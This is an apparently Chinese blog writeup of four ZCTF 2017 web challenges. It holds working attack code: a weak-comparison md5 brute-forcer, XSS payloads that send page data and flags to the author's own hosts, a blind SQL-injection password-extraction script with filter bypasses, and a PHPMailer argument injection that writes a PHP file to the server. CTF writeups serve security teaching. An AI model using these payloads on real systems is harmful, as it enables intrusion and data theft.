# ZCTF2017 WEB Writeup

原创

Bendawang 于 2017-02-27 21:27:06 发布 1524 收藏

分类专栏： WriteUp Web 文章标签： web ctf Writeup zctf2017



本文链接：https://blog.csdn.net/qq_19876131/article/details/58264193



由于博客迁移，本博客短期内会继续同步更新，

本文新博客地址：http://bendawang.site/article/ZCTF2017-WEB-Writeup

## web-1

进去扫一下目录发现有备份文件如下，

```php
<?php
$flag = $_GET['flag'];
if ($flag != '15562') {
    if (strstr('zctf123', 'zctf')) {
        if (substr(md5($flag),8,16) == substr(md5('15562'),8,16)) {
            die('ZCTF{#########}');
        }
    }
}
die('ha?')
?>
```

简单阅读时候发现一个双等比较，那么看看等号后面的值是个0e开头的值，也就是一个弱类型比较了，爆破就好了，代码如下：

注意这里0e后面的值一定要是0-9，应该能够秒出答案的。

```python
import hashlib
b='-=[],./;"1234567890abcdefghijklmnoprstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'

def find(str1):
    if hashlib.md5(str1).hexdigest()[8:10]=='0e':
        flag=0
        for i in hashlib.md5(str1).hexdigest()[10:24]:
            if i>'9':
                flag=1;
                break
        if flag==0:
            print str1
            input("success")
    if(len(str1)>8):
        return
    else:
        for i in b:
            find(str1+i)
if __name__ == '__main__':
    find(a)
```

## web-2

这里进去看到一个网站，简单扫了扫目录也没发现什么问题，后来在contact.php那里的表单提交处发现了一个可以提交东西的地方并且有比较明确的返回，然后大概猜测是个xss,多次尝试之后发现很多东西都被过滤了，观察同源策略，目测只能是使用script标签，但是过滤规则相当严格，折腾很久之后想到了用sourceMappingURL,这个东西恰好前段时间写博客调试js的时候用到过了，主要是用于方便调试的，有兴趣的可以自己去谷歌学习下。另外就是题目刚开始过滤了冒号无法使用`http://`，后来好像有修改了，放开了过滤，不过通过`//www.XXXXXX.xip,io`它会默认为http协议，这样就能绕开过滤了，下面是截图

```
POST /a0f1b29db350fdac2ad6dc4cb92dbd2b/message.php HTTP/1.1
Host: 58.213.63.30:10006
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:51.0)
Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer:
http://58.213.63.30:10006/a0f1b29db350fdac2ad6dc4cb92dbd2b/contact.php
Cookie: PHPSESSID=5jbsn2hclctjegis0d1odakj66
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 138

Name=123123&Email=admin%40163.com&Team=123123&textarea=</textarea><script>
var a=1//@ sourceMappingURL=//www.104.160.43.154.xip.io</script>
```

```
HTTP/1.1 200 OK
Date: Sat, 25 Feb 2017 05:15:28 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 71
Connection: close
Content-Type: text/html; charset=UTF-8

<script> alert('Success!');window.location.href='contact.php';</script>
```



| 2017年2月25日 12:58:9 | 218.29.102.101 | 河南省郑州市联通 | 未知操作系统 未知浏览器(未知) | GET | {} |
|---|---|---|---|---|---|

GET POST Cookie **HTTP请求信息** 其他信息

| 键 | 值 |
|---|---|
| Host | www.104.160.43.154.xip.io |
| Connection | keep-alive |
| User-Agent | zctf%7Be042d9c03263521c86025a4b47b03055%7D |
| Accept-Encoding | gzip, deflate, sdch |
| Accept-Language | zh-CN,zh;q=0.8 |



## web-3

首先是apk一开始是一个登陆框，经过逆向，发现登陆网址，以及apk向网址发送的加密算法，有了加密算法，我们就可以伪造成apk向网址发送请求了，接下来就是注入了，同样是被疯狂过滤，但是发现服务器过滤了`union select`,但是二者分开单独都没有被过滤，所以寻找代替空格的特殊字符，发现就只有`union%a0select`没有被过滤，写代码的时候注意替换成`union\xa0select`，之后通过order by判断有3个字段，然后发现过滤无法查询系统表，也无法获取表名，猜测表名是password和username，这两个单词也都被过滤了，无法获取表名，想到通过join引入新查询组合替换表名，但是这个时候发现小括号被过滤了，此路不通，换个思路，`wargame.kr`的zairo有个思路是通过联合查询然后根据第几列排序，由于只显示查询结果的第一行的值，就可以根据这个回显来判断这第几列上值的大小关系然后爆破结果。
即例如我输入如下：

```
admin' union\xa0select 1,2,'a' order by 3 asc#
```

第三列是密码所在的列，如果回显是2，说明密码第一位大于`a`，否则说明第一位小于或等于`a`,如此逐位爆破密码即可。脚本如下：

```
import requests
r=requests.session()
def encrypto(data):
    data=data[::-1]
    key = '1470'
    result = []
    for i in range(len(data)):
        tmp = ord(key[i%len(key)]) ^ ord(data[i])
        result.append(tmp)
    return ''.join(['%.2x' % i for i in result])


def getpassword():
    ans=""
    for i in xrange(32):
        for j in xrange(30,127):
            username = "admin' union\xa0select 1,2,'"+ans+chr(j)+"' order by 3 asc#"
            #print username
            password = "1"
            param={
                "username":encrypto(username),
                "password":encrypto(password)
                }
            result=r.post("http://58.213.63.30:10005/",data=param)
            #print result.content
            if "admin" in result.content:
                break
        ans+=chr(j-1)
        print ans

getpassword()   #得到密码hash是 5af1a627b1be8bb8e39bdf90cd2cfce4 解出来 CleverBoy123
```

拿到密码之后登陆进去发现有个可以让你向服务器提交一堆关于email的参数，联想到之前的phpmailer的漏洞，也懒得多想先随便写个php试试，后来看到官方hint说根目录不可写，那么扫一下目录发现存在一个uploads目录，往里面写吧，一写东西立马就返回了flag。最后代码如下：

```python
# encoding:utf-8
import requests
r=requests.session()
def encrypto(data):
    data=data[::-1]
    key = '1470'
    result = []
    for i in range(len(data)):
        tmp = ord(key[i%len(key)]) ^ ord(data[i])
        result.append(tmp)
    return ''.join(['%.2x' % i for i in result])


def getpassword():
    ans=""
    for i in xrange(32):
        for j in xrange(30,127):
            username = "admin' union\xa0select 1,2,'"+ans+chr(j)+"' order by 3 asc#"
            #print username
            password = "1"
            param={
                "username":encrypto(username),
                "password":encrypto(password)
                }
            result=r.post("http://58.213.63.30:10005/",data=param)
            #print result.content
            if "admin" in result.content:
                break
        ans+=chr(j-1)
        print ans

#getpassword()   #得到密码hash是 5af1ab27b1be8bb8c39bdf98cd2cfce4 解出来 CleverBoy123

def next():
    r=requests.session()
    param1={
        "username":encrypto("admin"),
        "password":encrypto("CleverBoy123")
        }
    result1=r.post("http://58.213.63.30:10005/",data=param1)
    param={
        "username":encrypto("admin"),
        "password":encrypto("ClerverBoy123"),
        "mail":encrypto("aaa( -X/var/www/html/upload/bendawang.php )@qq.com"),
        "title":encrypto("bendawang"),
        "body":encrypto("bendawang")

    }
    header={"Cookie":result1.headers['set-cookie']}
    result=r.post("http://58.213.63.30:10005/mail.php",data=param,headers=header)
    print result.content
    result=r.get("http://58.213.63.30:10005/upload/bendawang.php")
    print result.content
next()#zctf{c20cd895e09260b709fd3537361da181}
```

## web-4

讲道理这道题服务器bot背锅好吧。
这道题登陆进去发现在profile.php下面nick输入框里面存在xss注入，会在index.php里面回显触发，过滤一些东西但是都能双写绕过不影响，加上bugscan那里可以提交一个链接给管理员访问，接下来就是想办法xss管理员的cookie或是其他东西，构造一个html如下：

```
<html>
<head>
    <script src="jquery-3.1.1.js"></script>
</head>

<body>
<form action="http://58.213.63.30:10003/checkProfile.php" method="POST" id="profile" enctype="multipart
        <input class="form-control" name="nick" id="nick" />
        <input class="form-control" name="age" id="age" />
        <input class="form-control" name="address" id="address" />
</form>
<script>
$("form input:eq(0)").val("\<scriscriptpt src=http:\/\/104.160.43.154\/a.js\>");
$("form input:eq(1)").val("123");
$("form input:eq(2)").val('\<\/scrscriptipt\>');
$("form").submit();
window.location.href="http://58.213.63.30:10003/index.php";
</script>
</body>
</html>
```

然后在vps上放置的a.js如下：

```
$.get("http://58.213.63.30:10003/index.php",function(data,status){
    $.get("http://bendawang.site/?a="+escape(data));
})
```

这样通过修改js，就能访问管理的各项信息，发现管理没有cookie返回，note也没有数据，之后x到的后台进去看到了大家的payload,发现有人在search下面做文章，想到note没东西可以去search那里搜索，在写个脚本爆破搜索试试，这是在后台上看到的大家payload，当时直接拿过来用了

```
<html>
<head>
    <script src="jquery-3.1.1.js"></script>
</head>
<body>
<script>
tab="0123456789abcdefghijklmnopqrstuvwxyz}"
str=''
$.ajaxSettings.async=false
while(true){
  for(i=0;i<tab.length;i++){
    //console.log(tab[i]);
    flag=false
    x=$.get('http://58.213.63.30:10003/search.php?keywords=zctf{'+str+tab[i]);
    if(x.status==404) flag=true;
    if(!flag) break;
  }
  str+=tab[i];
  console.log(str);
  if(tab[i]=='}') break;
}
$.get("http://bendawang.site/?a="+escape(str))
</script>
</body>
</html>
```

不过最后bot也没有临幸我，没能拿到flag,不过讲道理这个锅不背。